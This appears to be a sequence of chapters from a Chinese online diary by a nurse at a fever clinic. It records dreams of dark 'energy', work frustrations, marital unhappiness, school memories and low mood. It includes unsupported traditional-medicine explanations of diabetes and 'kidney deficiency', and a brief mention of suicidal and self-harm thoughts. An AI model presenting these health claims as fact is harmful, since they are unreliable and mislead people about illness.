    梦境。梦到了黑色的爷爷逼着我去一个地方。我爷爷。梦里他好凶。然后我就很不情愿的去了，那是一个村子。那个村子里的人住的房子很小，小的连一个脑袋都过不去，我要到里面接人。然后梦到了芳芳，小芳，不知道为什么我梦到了她，她说她得了妇科病，然后我给她用了点药，她说谢谢我，然后就像一个白色的幽灵一样钻进了那个小房子，我本来想进去的，根本进不了，我头很大，卡门缝也卡不进，身体也进不了。然后在我目瞪口呆之下，一个美丽的短发女子，使劲从里面出来可是，那个门框卡着她的头好痛使劲顶着门框，然后就出来了。可是好剧烈啊。
    而且是梦里的爷爷逼着我去一个学校，他说:你一定要去那个宾馆住。我说我住学校不行吗？而且我告诉他，我已经有了好多张卡。宾馆卡，而我真的很想住学校。不知道为什么梦里的我想住学校。因为学校的住宿不用花钱啊！搞不懂梦里的爷爷，也搞不懂梦里的场景。
    是说他们的房子太小太破了吗？希望给他们换大房子的意思？可能吧！

 第218章

    梦境，前两天的，梦到了两条肚皮向上游的鱼，然后梦到了一个房间，有黑色的人影说要消毒，然后那个东西很像古代的砍人脑袋的那种大砍刀。感觉很诡异，然后就梦到了放射室的那个机子好高我消不到，但是我喷了酒精上去。然后下一个梦，就是喷雾器坏掉了，然后充不进电。梦里的我就在电脑上搜那个喷雾器的模式，怎么样才能充电。然后就醒了，因为梦里的喷雾器比现实里的太好了，有违和感。
    还有的忘了。
    昨晚的，梦到了工作的医院。梦里面也不知道在干嘛。梦里有一个发光的灵魂，他说了啥我也不知道，好像工作的地方有什么东西，要我脖子上的项链，说有了这个会怎么样，然后梦里的我差点给了，然后就梦到了上班的走廊。可能最近快半个月我手上没有收到病人，然后人家班上会来病人，然后他们有点子不爽吧！但是我们医院也就才几个病房。我白班也来了一个门诊的。然后对我有很多的抱怨了。
    不知道为什么会有抱怨哦。搞不懂。病人不来不是更好吗？能少一个是一个。然后别人班上有病人，也不代表我上班的时候就会很清闲啊！我还不是好几天都要消毒，更累，有病人的时候，分诊护士要做分诊的事，然后还做消杀。然后有病人在责任班就没有办法帮忙。谁会希望有病人来哦。谁会希望病人住院？门诊也是啊！但是这种东西都是天意，不是我能决定的。
    没有谁会希望病人来吧！

 第219章

    梦境。
    白天消毒得时候看到墙壁上有一个明蓝色的触角在墙上。然后那个位置是抢救室的一个插座上。我还以为是消毒水导致的。但是那个时候我还没有消毒墙壁。后面我就消毒了那面墙。不知道又怎么了。
    晚上不知道做了什么梦。梦见了好多灰色的东西。然后工作的医院变成了另一个世界的战场。梦见了我同事还有医生，在那个战场拿机关枪打仗。然后他们出来了，有一把枪差点折了。反正挺奇怪的。有点子猛。但是不知道我在里面扮演什么角色。因为我对我的角色没有印象。然后就醒了。突然之间想到了刘德华的爱你一万年，脑子里不知不觉就在回放这个歌。
    白天就一个病人出院。他说的话，我听不懂。大概就是他要回家，不想回去隔离。因为他有五次核酸阴性。其实他就还需要一天，可能，其实具体我们也不清楚，只是他到了出院的标准。糖尿病，慢性胰腺炎急性发作。想到这个病我就想到了倪海厦老师关于糖尿病的治疗，不知道看的哪一集了，反正都是随便看，大概的意思就是一些富贵人家的人，他们那个阶段都是上班很辛苦，然后家里的孩子就在等父母回家吃饭，到了饭点的时候没有及时吃饱，然后他们的父母晚上十一二回家，然后他们的孩子就特别的珍惜这个机会。然后就晚上再吃饭。辛苦的人后面工作有了回报。然后他们就变得富有了。而他们的孩子就已经习惯了这个习惯。因为胃气在运行的时候。就是该吃东西的时候没吃饱，后面到了下一个器官运行的时候，其实身体上不应该吃东西的。吃了就容易变得多余的糖分导致身体久而久之产生糖尿病。但是那个时候的孩子不晓得，大人也不晓得。等孩子长大之后就习惯了到了十一二点吃饭。所以后面那户有钱人家的孩子就得了糖尿病。糖尿病在以前是有钱人家的富贵病。而现在的生活条件很丰富，然后饮食不规律。工作压力大，后面到了很晚下班还是会吃个夜宵什么的，就变成基层老百姓之类的也更多糖尿病了。
    老师讲了治疗方法，不过太难了，我听这个我就听不懂。
    后面我就没有听了。
    然后那个病人就被安排的车子接走了。他的事听不懂，我感觉他的脑子好多黑色的能量，但是不知道什么。他可能是商人之类。不过我也不做太多的羡慕。因为自从看了《煤老板的自述》这本书，发现有钱人的生活其实也就这个样子，跟平民老百姓没有什么太大的差别，各有各的无奈。就像以前看的太叔和宁舒的文一样，各个阶层有各个阶层的烦恼，以为跳开了阶层就没有烦恼，这是不可能的。所以知道这个病人比较富有，也没有太多的想法。就是很奇怪，为什么他的脑子里的能量会那么黑。而我也不理解这个黑色能量。算了这个世界上不理解的事多了去了。
    对于国家和社会仍然要存有信仰。就像《超能力小孩》这个动漫一样。我也不记得是不是叫这个名字。反正就是新时代的小孩子，他们都很聪明，但是聪明到了一定的程度，他们脑子里的能量，就会在做梦的时候溢出来，创作各种各样的现实里的怪物。其实以前的人也有这种能量。但是他们运用佛教还是其他的东西沟通潜意识抑制住了。后面的孩子学习越来越好可是却很少有人能够控制住这个能量。反正我也看不懂。那个剧情有点让我感觉很难过，感觉那个能量溢出来的人，被自己的能量吞噬的感觉，好悲伤的感觉。后面那个剧情我忘记了。
    就像我几乎每天都在看有颜色的文，会不会潜意识在创造一个有颜色的世界呢？他们那些角色就像另一个世界的自己一样。虽然有这种想法但是仍然会看，我感觉我有这种癖好极大的可能性是肾虚，好像在哪本书看到过内容，大概的意思就是一个人如果思想里的能量是那种的，很大的可能性是因为身体某一个能量的抵抗力下降，然后导致邪气入体。而我的是思想，思想属于脑子类的，肾精不足脑子的记忆力或者是思考的能力不太快的感觉，然后又有乱七八糟的想法，估计就是肾虚。有病。但是中医的病比较难以理解。但是可以反着推理。有病导致这些症状，有症状就说明有病啊！但是现实社会里太复杂了，根本不按书里生病。
    看了《医路坦途》这本小说，这个写的外科医生的。所以感觉中医也好，西医也好，不吹不黑吧！里面还写了一个半吊子医生，特别有印象，西医学了一点，中医学了一点，蒙医学了一点，内科会一点，外科会一点。然后他能够在医院待下去。主角遇到了一个问题，所有人都束手无策，他就搞定了。里面的情节具体的忘了，就这么一个事。反正给我的感觉就是大开眼界。这个世界很复杂。这本小说我没有看完，看了一点点，好有意思。不过我一般只看一点点，看到很有意思后面我就没有去看了。我也不知道我什么感觉。我当时本来是想看中医类的小说，然后搜到了外科类的小说，比较专业的一本。中医类，太专业的我看不进，不专业的我看了容易误导。不知道怎么讲。我也对我自己无语。我的看小说的兴趣是不知道怎么讲。有意思的文章，我很难看的进，现在好像就比较喜欢看有颜色的，没有的不看，前几天看了一些娱乐圈的爱情故事，好好看，看了一本，后面还有一本是我喜欢的，可是我看了一半就没有看了，都是好文章，但是不明原因。可能我的潜意识是想把我往沟里带，没有想到我看的小说很好看，往能量好的方向带，然后它就不满了，就看不进。
    然后最近我又在搜比较有颜色的，因为这种文，负能量比较多。我也不知道为什么我会看负能量比较多的文，我感觉我好像看到了我灵魂背后有那个黑色的一团的灵魂，我也不知道它是什么，只是看文比较好一点的，他会闪一些黑色的光，然后就会终止。后面就会看往沟里带的。不知道这是什么。也懒得去计较和想那么多了。
    我现在的状态有点子奇怪，比较容易身体麻痹。前段时间都没有，刚来这里也没有，但是最近两天身体会麻痹。而且感觉身体里有黑色的能量体在自己身体里笑一样。会是什么情况呢？
    寒气入体？

 第220章

    艾灸了一下足三里，还有一两个不记得名字的穴位。出了一些汗。比较舒服。然后生了很长时间的气。那种情绪像灰蓝色的灰蒙蒙的东西一样，然后就在头脑里发火，一直发火，然后我也没有用理性去反驳。然后发完了之后，整个人就舒服多了。一个人会变得比较松弛的感觉。不知道这个是艾灸的效果，还是积攒了很多的郁闷的情绪出来的结果。总之，结果是好的吧！
    今天看了视频。倪海厦老师说的一些话给我的感觉有种豁然开朗的感觉。我每次看到生病的人，我都会感觉很难受，因为这种感觉就像我也生病一样，他们又要花钱对吧！总之很奇怪的想法。然后我就很难受，可是不知道怎么缓解。他的这个视频病人生病其实是因为他们没有遵循世界的道理和规律生活，比如有什么节气需要做什么事饮食之类的然后每个人的体质不一样碰到了吃到了不适合自己的东西，或者思想神志情绪太过，而如果乱掉了。他们就生病了。当时的感想是啥来着？忘了，现在想的是，他们需要我们的帮助，不需要没有意义的同情心，同理心。比如一个人他生病了很难受，而我一个他很需要的人，感同身受他的难受，又没有办法给他提供帮助，那么我的感同身受毫无作用，给自己添堵也没有帮到他。他需要的是一个解决他难受问题的人，不是需要和他一起难受的人。而我每次有这种想法，大概率想的是放大一点，就是如果没有医生，会不会就没有病人，这种念头有毒。我知道有毒，但是有很多的时候都会有这种潜意识冒出来。不明原因。所以这种感同亲受的想法就是怀疑自己是不是因为自己选择了学医，然后这个世界就给我安排了病人，正好就碰到了他，所以其实是我让病人那么难受的，如果我没有学医，他会不会就不生病？我的想法写出来就感觉有病。但是这就是真实想法。我不知道这个逻辑是怎么来的。
    假如我不是医务人员，那个病人还是得了病，但他不是我需要帮助的人。那么他生病和我没有任何关系。我不会对此产生任何愧疚难受的情绪，但是我是医务人员，我手上接到了需要照顾的病人，我就会感觉很难受，感觉好像这个病人是本来他没有病，因为我他生病了一样。这究竟和我有什么关系？我也搞不懂！脑子里的想法就是这么奇奇怪怪，天马行空的，逻辑在哪里？不理解。
    我或者我其实是一个比较自恋以自我为中心的人，我认为在我的世界里，就像我需要什么，世界它就正好提供了，我想要当一名医者，而正好就有了病人，所以我的脑子会好奇怪。就感觉我很想要好好的工作，而我好好的工作的就是有病人，需要病人，所以病人就来了。而这个认知又会让我好难受，难受于病人的难受。我该如何表达呢？不知道怎么讲。如果没有医生，这个世界会没有病人吗？这个我也不知道啊！好像任何世界都会有病人吧！就像小说里的修真世界，那里写的人不是一样会打架会受伤，也是需要医者，或者是药师，炼丹师之类的吗？就像古代的小说也是，虽然没有医生这个称呼，但是还是有大夫之类的。没有哪一个世界会不生病的吧！
    有很多时候我感觉我的潜意识会很复杂，我不太想写，感觉很羞耻，感觉写出来会像没脑子的感觉，可是我确实不是很聪明。存在我脑子里的想法和念头，它出来了它就不会走，就一直待着。然后给我制造负能量。时间久了，我感觉我的思想有问题。一直在拖着它走正轨。可是好疲惫的感觉。

 第221章

梦境。梦到了一个女士敲开了我的心脏，添加了什么东西给我。然后下一个场景梦见了一个红色的男人，他说了很多话，我没有听懂。最后一句是内地为什么不卷？这句话我不太理解，前面的那些话没听到。梦里的我好像在笑，然后就醒了。笑声不算很好听的笑声，很像有鬼魂包着自己身体然后它发出的笑声一样。
    。。。。

 第222章

    看了易烊千玺的一些视频。几个月不看，看了一点点黑料，不过并没有什么太多的感觉。心情很平静。
    我看了《少年的你》发现他的脸并不是很完美，可能那是他的妆容吧！所以看完了以后也就接受以后有一个脸长的不算完美的人当男朋友或者另一半。因为我以前只看脸，其他的我并不想考虑那么多。只要我看的人合我的眼缘，我感觉就可以了。
    后来看了以后就改变了我的认知。我感觉这样子也好。后面我老公他也喜欢易烊千玺，我把我的想法告诉了他，没有想到，他就有黑料了。有点难受。但是也很正常。
    之前有一个梦境，一个医生他帮我改潜意识，然后他后面就得了老年痴呆。后面他就不能做医生了。
    最近不知道看到了什么。看的是灰蒙蒙的一片，然后看到了一个孩子给我扯的线，也许那个孩子是另一个世界的我吧！我并没有太多不好的情绪。只是明白了什么，可是我也写不出来。
    我比较有野心，可是我没有什么太多的能力，很努力很努力的学习。或者很希望自己能够有很强大的工作能力但是都没有所以我很痛苦。结婚以前可能会希望我能够变得强大有能力，结婚以后就没有野心，整个人也松下来了，我也不知道为什么送下来了？有的时候会很想要待在孩子身边，而不想上班，不知道为什么会有这种情绪？可能这就是当妈妈的感觉吧！可是带小孩也就意味着，没有更多的能力，久而久之会变得依靠别人，可是老公其实并不能让我完全的依靠。这一年都快过去了。就还有两个月左右。我这一年的状态不算很好，学业下降，对待科室的学习没有结婚以前那么上心。个人的情绪也不算好。我比较喜欢做菜的，但是我又不想让我老公的家人天天让我做饭，然后我几乎没有做饭。他们喜欢的东西和我喜欢的不一样，久而久之也就沉默了，感觉自己没有活力了，很烦躁。可是脸上还能挂着微笑，然后发现自己在家里面很多时候老公能够踩雷的东西我都不生气，而我要是踩到了老公的居然会一个劲的道歉，这不像我。就像一个有了一个老婆的壳子里面装的不是我一样。后来希望自己拼命的工作，因为婚姻并不能带给你安全感，但是工作能，后面工作不顺利，不知道为什么。为什么？
    我也不知道，感觉就像它会改我的思想潜意识一样。我没有活力了，而且对学习没有太多的兴趣。真可惜。本来我还想考更多的东西。
    其实我并不是一个很爱学习的一个人。可是我从小就会去选择看书。因为小说很好看，故事很精彩，很有意思。有的我看懂了。而且大部分都有一种情绪，就是那种淡淡的忧伤的情绪。这让我回忆起了一个小说，就是一个女孩子家里很穷，她的爸爸死了，她妈妈得了重病，然后她就去偷钱给她妈妈治病，后来她被抓到了，后来周围的人天天都在讲她偷钱的事，直到她长大了，每个人都在对她议论纷纷，说她是一个小偷，她就笼罩在一片阴影里，整个人的天空一直都是灰暗的，还有一种就是说一个办公室，一个领导的肚子很大，然后突然来了一只老鼠，后面发现那只老鼠是送领导的肚子里出来的，然后人人都在抓老鼠，后面，老鼠被踩扁了了，发现是一张存折。这个当时我没有看懂。后面还有的就是一个男老师，他可能二十来岁，他考到了老师，他长的很帅，看他的脸喜欢他的女孩子很多，但是因为他很穷没有钱，所以很多女孩子都没有去选择他。然后就一堆的年纪大的老师说他的闲话，说他会打篮球又怎么样，很多的负能量的东西，我写不出来，后来他就辞掉了老师，去做了商人，给那个学校捐了很多钱，然后校长就举办仪式。然后他还娶了很年轻很漂亮的姑娘当老婆。那个故事里，那时我也看不懂，只是感觉里面写的人的灵魂变掉了。里面写的那个人本来是在黑暗里还有点光芒的人后面变成他在黑暗里笑。还有一个小说就是一些人科学家艺术家，或者什么家，他们在开一个会议，后来邀请了一个资本家过去。资本家并没有什么学历，后来的那个故事就是他们开的什么会议改成了吃什么。反正我没有看懂。我好像看那本书看到了一个男士的灵魂在拿着一个鸟笼子在玩，然后在对着我笑，可是我不理解他讲的什么。以前不理解，现在也不理解，可能他的意思是所有的学科都是为了让好多人变得富有，填饱肚子。也许还有别的意思就是他有钱，他改变了本来需要进行科学讨论的会议。可是我不知道他改的意义是什么？我没看懂这个文章。还有一个影响我择偶观的，里面的男主角是一个有文化的才子，然后一个女孩子特别的喜欢他，喜欢到很痴迷的状态。这是以女孩子的角度写的。总之那个女孩子很努力很用心的给那个才子写信，后来那个才子回了一个信封给她，然后她就在想他为什么要回一个信封给她想了很多很多念头，然后就发奋努力，后来他们终于在一起了，她就问了她老公，成婚多年，不经意问了一下，才知道，其实给他写信的太多了，然后他写了回信，可能不是写给她的，然后信封写了她的名字就寄出去了。可能寄错了。看了我好心塞。看到后面的结尾，心情很不好。后面我好像面对自己喜欢的人好像没有太过于主动过，因为很害怕也是这种情况。不过现在来看，缘分本来就是不需要去算的。但是今天又看了一本小说，土地公公的恋爱。男主角的恋爱观是他才懒得去看缘分，拼命去争取。但是普通人是很难像男主角那么有钱。能够做到常人无法做到的事。不过里面的仙太子也有很多的资源。他也喜欢女主角，可是没有选择他，因为他有喜欢她的心，但是没有排在第一位，而男主角排在了第一位。尽管他是普通人，她还是选择了男主。小甜文。这个世界真的会碰到全心全意去喜欢一个人的人吗？会吧！不过每个人选择的人生剧本不一样。看看就好。
    这两天的脑子想到了很多东西。我也不知道这些有没有什么意义。想到了一个梦境，梦境里是一个男孩子在对他爸爸说话得声音。后来那个梦就碎掉了，接入了下一个梦，那个梦境里一个很好看的男孩子的脸出现了很多黑色的窟窿，然后他本来要去那个女孩子那里的，女孩子身体也变得很难看，他只能黑了半边的脸对女孩笑了笑，然后就走了。女孩也只能看着他，然后不敢向前过去，因为她靠他越近，他的灵魂会变得越黑暗，可能会没有这个人。然后过了几年，梦到了男孩子，自己好像男孩子的角色的灵魂，看到了那个场景，好像懂了。就走了。
    下一个场景，那个视觉的我就像在学校里看着那个年龄段的我，我在那个场景的天空里笑眯眯的，那个场景里的女孩子说我那里有恶魔，不想给别人添麻烦。
    我不知道以后的我面对那个时候的我会不会不好意思。会不会很难过，我终于把自己活成了一个我不喜欢，可能童年很讨厌的样子。
    我没有以前爱学习，以前也不怎么爱学习，比较喜欢玩，作业总是到最后一天的晚上才加班加点做。玩没有意义，我感觉不到太多的关于yao的快乐，现在有了自己的小孩子，我发现我很想逗她玩，可是我不知道怎么逗她玩。我感觉很难受。别人面对这种事很自然，以前上班的时候就有同事会逗亲戚家
    的小孩子玩，会很活泼很好动。后来我看到了自己的不足，我好像很多东西都不会，没有天赋，连很简单的东西都不会。
    以前的梦境就是有一条路，我在黑暗里往有光亮的地方一直走，可是走到了有光的地方却又往黑暗里走，我好像在追逐的光明的地方，又好像习惯了黑暗里生存，每次都是那样子，每次的选择都是这样子不受控制的选择错误的方向，但是我不想控制，我也不知道为什么不想控制。可能就像有的人曾经分析过的，人有两种机制，一种是让人选择美好方向的机制这种选择反人性，一种是把人拖垮的机制，具体怎么讲的。忘记了。而我比较容易选择让自己变得更糟糕的机制。虽然知道书里面有很多让自己变得更好更强大的方法，就像那本如何成为尖子生这本书一样，里面有很多关于学习的技巧，还有很多书也有技巧，如何提升记忆力啊之类的，但是本意是不愿意去学习这种东西的，不想学习。书籍里面有很多这种东西，哪里都有，只要有心。如果想要去做好去学好就可以学好。可是最难得就是有心。我也不知道心在我的意义里代表什么？就像如果有了很强烈的很感动的东西，会自然而然的懂一些东西，这并不需要思考或者太多的天分。但是我好像没有心一样。或者心处于黑暗之中，以前还能用悲伤的情绪带出来，现在好像悲伤的情绪也没有办法用。我学会了处理情绪，可办法出来，是我感觉我的做法还是错误的，我不知道正确的是什么？有篇文章说过，如果一个人有抑郁症，那其实是人是攻击性没有因为她心里知道她该做什么，而不去做。那种情感郁结于心。
    但是我感觉不到自己有这个症状。以前会感觉自己一个人待着会很糟糕，后面结婚了就会感觉自己很想一个人待着，后面这段时间w真的一个人的独处就会想给自己放血，自杀。但是我并不知道这种念头哪里来的。它为什么会出现。
    可能心情不好吧！我以前看过一篇文章就是说人有性欲和攻击性。然后有的人的攻击性没有办法出来，它就会向自己内心里攻击，然后整个人就越来越抑郁。我可能是这样子吧！也有可能不是，我比较喜欢对号入座，我也不知道我是不是就是这种情况，不过还好这几天也就出现过一次。
    明天要去上班了，可能过一段时间会让我们回去。因为另一个地方的人都快回来了。

 第223章

再坚持几天就可以回家了。真好。
    昨晚的梦境，梦境里是一条河，河里有一个黑色的外壳，里面是白色的灵魂走了出来。天空很明亮很好看。然后下一个场景是一个房间，房间的外面有很多黑色的脑袋，他在笑，但是不理解，后面看到自己进入了一个房间，房间里还有一个人，然后就从梦里醒了，没什么太多的想法。然后就是梦到了一个瑜伽室，梦里的人在练瑜伽。然后下一个场景，梦到了一个男的在空间层的一面有点子像家公又不像的样子，说着什么。然后就醒了。

 第224章

    梦境。
    梦里面是一个村子，我在种地，然后结了好多粮食，然后梦见了一个车子，车子上有几个人，他们要帮我把米卖出去，然后下一个场景是一个学校，我可能是学校里的老师，然后那群帮我卖米的人说可以载我一程，然后就坐他的车，然后就去了一个空间里，梦里面看到了很多课本，然后我不是那个灵魂，梦里的灵魂灰蒙蒙的，她说这是一个什么样的世界，小说空间吗？她还有好多课程没有教。要教这个这个还有这个。点了好多，然后说让我去查一个老师，问她教哪里了，她要比过那个老师。问我这是不是一个让人谈恋爱的小说空间，她猛的抬脚一踹，说现在没空。然后我就目瞪口呆醒了一下突然之间很羡慕她，这么有上进心。我好像没有这么强烈的上进心。然后下一个场景还是那个人，她在挑房间，我推荐的房间，她看了和我说不好，她给我看了她选的房间，宽敞明亮，大，很多细节很方便，然后租金还不贵。然后就兴致勃勃的往学校跑的去了。
    然后我就醒了。我感觉我好没有志气，肾气不足。然后最近老是感觉有一个小孩子待在我心脏的位置，说他感觉很心塞，有点心肌梗塞的感觉，然后最近视频里说晚上睡不着的人，很有可能是心脏会有问题。我感觉出去了之后还是要好好调理一下我的身体。可是又很害怕，上次一个星期睡的很香，结果又会梦见不好的事，也有可能是因为还有什么没有处理好，或者是疾病的方面。

 第225章

    梦境，梦里面梦到了一片蓝色的大海，然后还有一朵白色的浪花。
    今天午休的梦境。因为人民医院发热门诊接黄码病人了，我们还有几天就可以回去了，然后做完了消毒得事就出来了。吃完饭就休息。
    突然梦到了这个，不知道怎么讲，然后中午提到了麻辣。就回忆起了一次和人家一起卖班级里的垃圾，我们班当时班主任组织我们把自己吃了矿泉水的瓶子留起来，然后到了满了以后我们就拿的去卖废品那里卖，留到来的钱就当班费，然后万一坏了玻璃，就可以买，或者买电风扇之类的。那次就刚好满了，然后我们一起去买废品。当时他自己掏腰包买了五毛一包的麻辣给女孩子吃，然后我没有接，没有接的原因是我经常咳嗽，然后吃麻辣上火，我就不想吃。后面那两个男孩子就一直打打闹闹的，我和另一个女生就在旁边看。现在回想起来她真的挺好的，记得她练得被动操，还是什么。然后后面另一个男生就在那里讲什么来着，我也忘记了，我就追着那个买麻辣的男孩子跑了一段路，主要是因为路比较长，然后跑更快，其实也没有什么太大的感觉，看了一会儿风景。后来就到学校了。另一个男生本来要起哄什么的，但是非常淡定。装愣混过去了。然后后面我就把那个过程记录下来了，写了篇文，然后感觉到了一个黑色的孩子，后面就没什么了。
    对方是一个很优秀的人。我感觉他就像一片海洋一样辽阔。浩瀚。而我对他的喜欢和爱慕的感情就像海洋里一片很微小的浪花一样，微不足道，可有可无。后面就不想喜欢了。多我一个不多，少我一个不少，然后我也抢不过也懒得强。
    每个人的人生都是独一无二的。各有各的难处。我感觉碰到了像阳光一样美好的人，而我的话没时间没钱也没有那么多的能力去把握住无法预测的东西。
    农村的家里比较穷，基本上都是十来岁就结婚。初中九年义务教育过后，基本就是谈婚论嫁的事。而我的条件很差。为了能够让自己当一名剩女，真的是绞尽脑汁。最后很稳妥的方式就是假装自己谈了男朋友失恋了。说实话当一个乖乖的孩子装模作样真的挺有一套的。初二吧！好像妈妈和外婆那边的亲戚就是希望给我介绍一门亲事。听到了这个消息以后，我就变得神经兮兮。毕竟我看的小说很想那种法医判案型。一名男青年喜欢某一位女青年然后女青年不喜欢他，后面女青年变成了无头女尸，然后尸体被分装了，不小心长了虫子，然后通过虫子的生长周期。抓到了那位男青年。当时还小，看的我心情很复杂，毛骨悚然的。还有各种各样的小说，不记得了。恐婚，怕去谈恋爱，还有一个很可怕的，就是一个女孩子喜欢上了一个男孩子，然后他们谈恋爱了，后面男的喜欢赌博之类的，后面男的砍了丈母娘，反正很惨的一个故事。故事更惨。我就不写那么多了。那个时候看这些故事的我又不算心理很成熟，对我的认知就是其实结婚和恋爱都不是什么好事。虽然很美好的故事很多，可是谁也不知道自己拿的是什么人生剧本。后面中学看了一些小说，我记得一个人鱼的故事。一个男的他和人鱼谈恋爱，然后那条鱼爱上了他，然后他挖了人鱼的心去给他前女友治病，这个人鱼之伤是个很经典的故事。我看了好多人写的，大概的内容都是这样子的，然后文笔不同，写的都是充满了很奇怪的悲伤的情绪。反正字很多，好词佳句，然后其实我看不懂那个内容。中学的小说就是感觉没有内容，但是好多字，会看下。不过有的杂志写的文很好看，但是我没有去买。我不记得啥文章了，写的好好。时间太久了不记得内容了。像很经典的文章，有的震撼人心的就记得住，像小说有意思的也记得住，有的没有读懂可能，没有记住。反正文章很好，但是我不记得了。
    扯远了，本来很想写很多关于一些情绪上的东西，但是一想就扯远了。当时我很害怕我家里人会知道我有喜欢的人，好像有喜欢的人是一个很不正常的人一样，我也不知道为什么我会有这种想法。反正读书的时候就好好读书。也过去了那个过程。看了很多的书，然后发现自己非常的不完美，很多事情做的不好，然后需要做好又非常的心累，后面就变得破罐子破摔。反正愧疚啊之类的情绪充满了自己的心里，然后就变得非常的迷茫，不知道自己长大了要做什么。教书嘛，感觉自己不是一个完美的人，怕自己做的不好误人子弟。反正没有自信心。
    我本来要写什么来着。又扯远了，我可能脑子在回避这个我想表达的东西。我每次回忆起他。都会设想一个场景，在我心里面，我发现他的位置排到了最后，我心里最重要的我的家人，爷爷奶奶爸爸妈妈，叔叔婶婶，甚至姑姑之类的，但是如果是他的话排在了最后最后。我也不知道为什么我会设想出这样子一个排位。很多事也和这个排位差不多，很多事情，我会考虑大局，不会考虑我自己的情绪，或者心理的想法，久而久之，我好像也就没有了心理的想法，以前我也站在长远的角度去思考过，我发现我思考出来的结果和大人想的是一样的，很多次以后，我就懒得去想了。也有不一样的，而不一样的我会选择和大人一样的选择，所以，思考情绪，就慢慢的没有了。然后我发现有一个人，做了让我难受的事，我没有当场去表达我的情绪，然后我回家了以后把这份火气，发到了我奶奶的身上，那一次让我感觉很难受，我感觉我很差劲，但是我还是学不会对那个我讨厌的人发火，我在怕什么，我也不知道我在怕什么，我只知道我很差。这样子的我让我失望透顶，但是我还是很害怕面对那个人。如果时间重来，我还是会害怕她，明明她也没有长的好看或者可怕。可是我就是害怕她。
    我感觉她喜欢我喜欢的人，她的表现也确实如此，然后她有一些事对我发火。搞得我当时的情绪很害怕。可是我不理解。后面的话碰到了一个黑色的场景，那个场景里就是一个小孩子，在巴拉巴拉的说很多的话，那些声音都不是很好看的，然后我感觉很难受，可是嘴巴长在人家身上，我根本拿她一点办法也没有，也许清者自清，但是事实上很难做到。我搞不定那种人。
    她在寝室里讲过，她的亲戚是一个官员，然后买了很多的茶油，送给其他当官的朋友，反正我听不懂。只记得这个事。然后她讲的是啥意思也不懂。她有苹果，然后我带了几个苹果去学校吃，她就有种阴阳怪气的感觉，说自己的苹果好像被人偷掉了，感觉她在讲我，可是我又没有拿她的苹果，但是我就是感觉的到她在讲我。然后我就走了。她也是一个学习很好的学生。但是我对她没有什么感觉，没有讨厌也没有喜欢。我也很少和她讲话。我对别人的情绪向来少根筋。
    中学的回忆不算好，我也不是什么很好的一个人。很多事都用心了但是效果不好，我并没有让我喜欢的同学变得更好，然后也没有很好的处理自己的流言蜚语。就是不成熟叛逆中二期比较晚。然后和自己的家人也没有把自己的情感表达的很好，我感觉我对他们没有安全感。充满了防备。因为一系列的防备又导致一堆的问题。
    错过是必然的。
    写不出我的情感，我的脑子又在逃避这个情绪，但是没办法。必须写，长痛不如短痛。我选择的是短痛，可是没有想到变成了长痛，这是事与愿违的东西，我没有控制住的东西。但是我还是需要学会接受。这是让我成长的事。
    我也不愿意我那么糟糕的样子。我对他比较愧疚，其实站在我的角度去看问题我是不理解我为什么对他那么愧疚的。不过就是把对方当做自己的学习榜样，然后控制自己在中学，怕自己贪玩，误了学业，然后就一直看着他很努力很努力的学习。想要数学好，就去喜欢数学学的好的那个人，然后喜欢他以后自己的数学就慢慢的学习更好了，想要语文好，就去喜欢语文学的好的那个人，然后慢慢语文也好起来了，基本每个科都是这样子，这个学习方法是哪一本书里写的。不记得书名了。只记得这个事。但是人又要保证自己不会受伤，然后也不会给别人，就是那个你喜欢的那个人带来痛苦和伤害。所以一般喜欢到自己学业优秀，或者是达到了自己的目标，然后就不喜欢他了，换下一个学习好的人喜欢，就这种方法居然让我在某一次的月考里考到了全年纪前十四名。不过那是因为那些学习好的同学，被老师抓得去排练节目了，所以他们都花了很多精力在排练上，也可以说不算，但是总得来说还是有用的。这样子的后果就是我好像习惯了喜欢他，毕竟人家的学习很好，各个科目成绩都很好，想过换一个同学喜欢，发现还是他很优秀。其他的同学学习很好，没有那么大的人气，好像很容易收到伤害的感觉，所以就没有祸害其他同学。后来就习惯了。好久了四年。后面走了以后，习惯了。不过我们不是走一条路的人，所以又在拼命的改这个习惯。因为以后肯定他会结婚，我也会结婚，我又没有想过以后自己会嫁给他。然后中学又没有做很出格的事，顶多也就做作业，加倍做作业。在做题上花很多的时间和脑筋。用心去做一个题目，然后把它做出来的感觉真的很爽。
    那个时候的我不知道我该要成为什么样的人。做什么工作，其实什么都没有想。如果自己喜欢的人，他从事什么行业而我和他一起。就是这个想法，但是这个想法也许有问题吧！后面就感觉到了很多黑色的能量一样非常的不舒服。就像如果一个女孩子你和那个男孩子一样优秀，然后女孩子喜欢男孩子，然后她会把她所有拥有的东西，都无条件的转给他，只因为她喜欢他。但是如果真的很喜欢一个人，也真的会有喜欢到愿意付出很多的想法吧！至少我那个时候有。我不知道别人。但是我的喜欢是离开。因为自己可是一个很倒霉倒霉透顶的人，通常自己的朋友都是容易倒霉的。而希望让一个人幸运起来，就是离他越远越好。然后再默默祝福就好。当时我是这样子理解的。
    后面的话，他也有了女朋友，知道了这个消息，没有什么太多的情绪，祝福。也没有像小说里恨之类的，因为没有什么交集。我知道自己是一个比较霉的人，所以也没有去搭理过人家。总之就是学习榜样达到了我的目地。可以给一份很好的成绩给我的家人看。然后再作死，晚一点嫁人。
    我的潜意识一直在等，好像在等他，但是我不愿意。我不愿意一个优秀的人，他会碰到我这样子的妻子。看过一个小说，就是一个女孩子和自己喜欢的人谈了好几年的恋爱，然后分手了，她遇到了一个相亲对象，然后她说给不了爱情就给他生活吧！反正有钱人家的爱情故事，大概就是她嫁的那个人的条件也比较好，然后他也比较尊重她，她也把家打理的很好。让我有点感动，我也想要这样子的人生，不过我给不了人家生活，洗衣做饭这个事，我做的不行。一想到以后结婚嫁人要给人洗手做羹汤，我就没有信心。奶奶经常对我说姑姑很优秀十来岁，就能做出一桌子的菜，她跟我讲这个事的目地就是希望我也像姑姑一样能够做出来，但是我没有。我到现在也没有做几个菜，不知道为什么。做菜并不难。但是我没有做菜的心情。看到了很多故事，要么老婆比较贤惠，然后她老公花天酒地的内容，我对男的充满了愤恨，我感觉我做饭一定要让他拉肚子，看我不毒死他。妹妹还有爷爷他们吃我做的菜经常拉肚子还有呕吐。不过我的做菜方法是正常的。可能女士就是有魔力的物种，而我的潜意识里的那种恨。导致我做的饭，做法正确，可是还是有那种有毒的能量，所以他们就这样子了。我对这样子的自己充满了失望。但是我不知道用什么方法解决这个难题。
